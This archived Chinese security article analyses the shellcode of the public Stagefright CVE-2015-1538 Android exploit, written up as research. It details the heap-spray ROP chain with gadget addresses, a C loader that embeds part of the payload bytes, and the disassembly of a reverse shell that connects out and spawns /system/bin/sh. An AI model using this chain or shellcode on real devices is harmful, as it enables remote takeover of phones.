# CVE-2015-1538漏洞利用中的Shellcode分析

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2015-12-01T02:41:00Z
Canonical: https://wepostx.com/topics/1212

> 乌云历史资料归档
>
> **原始作者：** 阿里移动安全
> **原始编号：** superkieran-wooyundrops:919
> **原始发布时间：** 2015-12-01 10:41
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

Author:[email protected]

# 0x00 序

2015年7月以色列移动信息安全公司Zimperium在Android Stagefright框架中发现了多个整数溢出和下溢，不正确整数溢出检查等漏洞，可导致任意代码执行等问题。攻击者通过发送包含特制媒体文件的MMS或WEB页来触发该漏洞。由于stagefright不只是用来播放媒体文件的，还能自动产生缩略图，或者从视频或音频文件中抽取元数据，如长度、高度、宽度、帧频、频道和其他类似信息。因此接收到恶意彩信的用户只要查看缩略图就可触发该漏洞。
“Stagefright”媒体播放引擎库在Android 2.2中引入，至5.1的所有版本上均存在此漏洞。使用Stagefright库的应用程序以Media权限运行，成功利用漏洞，允许攻击者以媒体库上下文查看相应的文件，但通过权限提升攻击，可完全控制设备。该Stagefright漏洞所对应的CVE ID如下：

```text
CVE-2015-1538 CVE-2015-1539 CVE-2015-3824 CVE-2015-3826 CVE-2015-3827 CVE-2015-3828 CVE-2015-3829
```
zimperium研究人员Joshua Drake在8月的BlackHat会议上讲解并演示了该漏洞。9月份在官方博客（blog.zimperium.com）公开了其中一个漏洞：CVE-2015-1538的利用代码[[1]](https://blog.zimperium.com/the-latest-on-stagefright-cve-2015-1538-exploit-is-now-available-for-testing-purposes/)。
虽然CVE-2015-1538的利用是在Android 4.0.x上实现的，相对于高版本Android，少了很多缓解技术需要bypass，但是其exploit中所用的媒体文件堆喷、pivot stack、反向连接shell等一些技巧可为以后借鉴，所以将其记录下，也是留个备忘。

# 0x01 Shellcode代码分析

1.1 ROP
分析Exploit[[2]](https://github.com/jduck/cve-2015-1538-1)可知，该漏洞利用“tx3g”tag进行内存堆喷射（2M）来达到执行shellcode。其单个spray buffer的构造如下：
Offsetvalue
0x0sp_addr + 16{}
0x4sp_addr + 8
0x81
0xC0xcodedbad
0x10sp_addr + 24
0x1416
0x18sp_addr + 32
0x1C0xf00dbabe
0x200xcode0000 + 0x0
0x240xcode0000 + 0x4
0x280xcode0000 + 0x8
0x2Cnew_pc{}
0x300xf0f00000+x1
……
0x4C, ROP+0x0sp_addr + 0x40
ROP+0x40xb0002a98{}
ROP+0x80xb00038b2 + 1{}
ROP+0xCsp_addr & 0xFFFFF000
ROP+0x100x1000
ROP+0x147
ROP+0x180xd000d003
ROP+0x1C0xd000d004
ROP+0x200xb001144{}
ROP+0x24sp_addr + 0x80
ROP+0x280xf0f00000 + x1
…… …
ROP+0x4Cpayload/shell_reverse_tcp
……
0x10000xf0f00000 + xn
从exploit看，mediaserver crash时代码走到了android::RefBase::decStrong(android::RefBase *__hidden this, const void *)，汇编代码如下：

```text
.text:0000EE34 70 B5 PUSH {R4-R6,LR} .text:0000EE36 05 46 MOV R5, R0 .text:0000EE38 44 68 LDR R4, [R0,#4] .text:0000EE3A 0E 46 MOV R6, R1 .text:0000EE3C 20 46 MOV R0, R4 .text:0000EE3E FD F7 54 EB BLX android_atomic_dec .text:0000EE42 01 28 CMP R0, #1 .text:0000EE44 0B D1 BNE loc_EE5E .text:0000EE46 A0 68 LDR R0, [R4,#8] .text:0000EE48 01 68 LDR R1, [R0] .text:0000EE4A CA 68 LDR R2, [R1,#0xC] .text:0000EE4C 31 46 MOV R1, R6 .text:0000EE4E 90 47 BLX R2
```
按这段代码的执行流程如下：
1）r0 = spray_address = sa

```text
LDR R4, [R0,#4]
```
执行后，r4 = [sa+4] = sa+8

```text
.text:0000EE46 LDR R0, [R4,#8]
```
执行后,r0 = [r4+8]=[sa+8+8]=[sa+0x10]=sa+24=sa+0x18

```text
.text:0000EE48LDR R1, [R0]
```
执行后，r1=[r0+0]=[sa+0x18]=sz+32=sa+0x20

```text
.text:0000EE4A LDR R2, [R1,#0xC]
```
执行后，r2=[r1+0xC]=[sa+0x20+0xC]=[sa+0x2C]=new_pc。执行blx r2跳到new_pc处。
2）new_pc
exploit中默认定义的new_pc为0xb0002850（__dl_restore_core_regs），位于libc.so中。看Android 4.1.2的libc.so中的restore_core_regs函数：

```text
.text:00010BA8 EXPORT restore_core_regs .text:00010BA8 ADD R1, R0, #0x34 ; Alternative name is '__restore_core_regs' .text:00010BAC LDMIA R1, {R3-R5} .text:00010BB0 STMFD SP!, {R3-R5} .text:00010BB4 LDMIA R0, {R0-R11} .text:00010BB8 LDMFD SP, {SP-PC}
```
这段代码主要是用于pivot stack：

```text
ADD R1, R0, #0x34
```
此时r0=sa+0x18，r1=sa+0x18+0x34=sa+0x4C

```text
.text:00010BAC LDMIA R1, {R3-R5}
```
将r1指向地址sa+0x4C的内容依次写到r3，r4，r5中，即r3=sa+0x40=ROP+0x0，r4=0xb0002a98，r5=0xb00038b2+1

```text
.text:00010BB0 STMFD SP!, {R3-R5}
```
将r3，r4，r5入栈。

```text
.text:00010BB8 LDMFD SP, {SP-PC}
```
出栈操作；执行完后sp=ROP+0xC；lr=0xb0002a98；pc=0xb00038b2+1
3）执行pc
此时pc为0xb00038b2+1，基所指向的指令为：

```text
pop {r0, r1, r2, r3, r4, pc}
```
将sp指向的栈弹出并存入到r0-r4及pc寄存器中，该条指令执行完后，r0=sp_addr & 0xFFFFF000，r1=0x1000，r2=7，pc=0xb001144。
该条指令可以libstagefright.so中找到。如在4.1.2下：thumb，libstagefright.so + 0x0009086C。
4）再执行pc
此时pc为0xb001144，该地址是mprotect函数的地址，位于libc.so中，代码如下：

```text
.text:0000CACC EXPORT mprotect .text:0000CACC STMFD SP!, {R4,R7} .text:0000CAD0 MOV R7, #0x7D .text:0000CAD4 SVC 0 ;超级用户调用 .text:0000CAD8 LDMFD SP!, {R4,R7} .text:0000CADC MOVS R0, R0 .text:0000CAE0 BXPL LR .text:0000CAE4 B sub_39D44
```
将sp_addr地址，长度为0x1000的内存改为可执行权限。

```text
.text:0000CAE0 BXPL LR
```
如果执行成功则调用lr，即0xb0002a98。
5）执行lr
此时lr为0xb0002a98，其指向的指令如下：

```text
pop {pc}
```
当前sp=ROP+0x24，执行完成后`pc=sa+0x80，即shell_reverse_tcp代码的地址。
该条指令可以libstagefright.so中找到。如在4.1.2下：thumb，libstagefright.so + 0x0005ad14。
1.2 shell_reverse_tcp
exploit代码看shell_reverse_tcp是反向连接到目标ip:port的一段payload，这段代码是从metasploit的shell_reverse_tcp[[3]](https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb)修改而来的。为了搞清楚这段代码的功能，我们写了一段loader来加载这段代码，然后反汇编进行分析，如下：

```text
unsignedchar payload[] = "\x02\x70\xa0\xe3" …… "65\x6d\x2f\x62\x69\x6e\x3a\x2f\x73\x79\x73\x74\x65\x6d\x2f\x78\x62\x69\x6e\x00"; int loader() { printf("hello payload: 0x%x\n", payload); asm__volatile__ ( "ldr r0, =payload \t\n" "blx r0 \t\n"); return0; } int main(intargc, char* constargv[]) { loader(); return0; }
```
中payload[]数组中的数据是从exploit的shell_reverse_tcp中提取的。这种加载方式在Android 4.1.x可以运行，高版本Android增加了安全缓解技术，会报错，但不影响分析代码。用IDA Pro加载编译程序，可以看到shell_reverse_tcp的反汇编代码如下：

```text
.data:00002000 02 70 A0 E3 MOV R7, #2 .data:00002004 00 0000 EF SVC 0 ; __fork .data:00002008 00 00 50 E3 CMP R0, #0 .data:0000200C 02 00 00 0A BEQ loc_201C .data:00002010 00 00 A0 E3 MOV R0, #0 .data:00002014 01 70 A0 E3 MOV R7, #1 .data:00002018 00 0000 EF SVC 0 ; _exit_thread .data:0000201Cloc_201C ; CODE XREF: .data:0000200Cj .data:0000201C 42 70 A0 E3 MOV R7, #0x42 .data:00002020 00 0000 EF SVC 0 ; setsid .data:00002024 02 00 A0 E3 MOV R0, #2 .data:00002028 01 10 A0 E3 MOV R1, #1 .data:0000202C 05 20 81 E2 ADD R2, R1, #5 .data:00002030 8C 70 A0 E3 8D 70 87 E2 MOV R7, #0x119 .data:00002038 00 0000 EF SVC 0 ; socket .data:0000203C 00 60 A0 E1 MOV R6, R0 .data:00002040 6C 10 8F E2 ADR R1, loc_20B4 ; structsockaddr_in .data:00002044 10 20 A0 E3 MOV R2, #0x10 .data:00002048 8D 70 A0 E3 8E 70 87 E2 MOV R7, #0x11B .data:00002050 00 0000 EF SVC 0 ; connect .data:00002054 06 00 A0 E1 MOV R0, R6 .data:00002058 00 10 A0 E3 MOV R1, #0 .data:0000205C 3F 70 A0 E3 MOV R7, #0x3F .data:00002060 00 0000 EF SVC 0 ; dup2 .data:00002064 06 00 A0 E1 MOV R0, R6 .data:00002068 01 10 A0 E3 MOV R1, #1 .data:0000206C 3F 70 A0 E3 MOV R7, #0x3F .data:00002070 00 0000 EF SVC 0 ; dup2 .data:00002074 06 00 A0 E1 MOV R0, R6 .data:00002078 02 10 A0 E3 MOV R1, #2 .data:0000207C 3F 70 A0 E3 MOV R7, #0x3F .data:00002080 00 0000 EF SVC 0 ; dup2 .data:00002084 30 00 8F E2 ADR R0, aSystemBinSh ; "/system/bin/sh" .data:00002088 04 40 24 E0 EOR R4, R4, R4 .data:0000208C 10 00 2D E9 STMFD SP!, {R4} .data:00002090 38 30 8F E2 ADR R3, aPathSbinVendor ; "PATH=/sbin:/vendor/bin:/system/sbin:/sy"... .data:00002094 08 00 2D E9 STMFD SP!, {R3} .data:00002098 0D 20 A0 E1 MOV R2, SP .data:0000209C 10 00 2D E9 STMFD SP!, {R4} .data:000020A0 24 40 8F E2 ADR R4, aSh ; "sh" .data:000020A4 10 00 2D E9 STMFD SP!, {R4} .data:000020A8 0D 10 A0 E1 MOV R1, SP .data:000020AC 0B 70 A0 E3 MOV R7, #0xB .data:000020B0 00 0000 EF SVC 0 ; execve .data:000020B4 loc_20B4 ; DATA XREF: .data:00002040o .data:000020B4 02 00 30 39 ;structsockaddr_in: <family+port+host>, port: 0x3039(12345) .data:000020B8xx xxxxxx; ip address .data:000020BC 2F 73 79 73 74 65 6D 2F+aSystemBinSh DCB "/system/bin/sh",0 ; DATA XREF: .data:00002084o .data:000020BC 62 69 6E 2F 73 68 00 ; .data:loc_20B4o .data:000020CB 00 DCB 0 .data:000020CC 73 68 00 aSh DCB "sh",0 ; DATA XREF: .data:000020A0o .data:000020CF 00 DCB 0 .data:000020D0 50 41 54 48 3D 2F 73 62+aPathSbinVendor DCB "PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin",0 .data:000020D0 69 6E 3A 2F 76 65 6E 64+ ; DATA XREF: .data:00002090o .data:0000210D 00 DCB 0
```
payload通过svc指令调用相应的linux函数，相应的函数已备注在汇编代码中，这段代码功能是通过tcp连接远程服务器的特定端口，伪代码如下：

```text
r = fork(); if r<>0 exit_thread(); setsid(); s = socket(2,1,6); connect(s, socaddr, 0x10); dup2(s,0); [email protected] dup2(s,1); [email protected] dup2(s,2); [email protected] execve("/system/bin/sh", "sh", "PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin");
```
loader编译后直接运行会失败，这是因为payload存储在“.data”节中，其属性是“Read”的，需要为该节增加“Execute”属性才会运行成功。这里使用010 Editor的ELFTemplate为“.data”节增加“Execute”属性：

![原文图片](/media/2016/06/0d5ee2076892f7564a0e048bd4d700fd)

然后push到设备中，即可运行成功：

![原文图片](/media/2016/06/0d6508363887187810b662e2352561b4)

# 0x02 参考

- [https://blog.zimperium.com/the-latest-on-stagefright-cve-2015-1538-exploit-is-now-available-for-testing-purposes/](https://blog.zimperium.com/the-latest-on-stagefright-cve-2015-1538-exploit-is-now-available-for-testing-purposes/)

- [https://github.com/jduck/cve-2015-1538-1](https://github.com/jduck/cve-2015-1538-1)

- [https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb)

## Replies
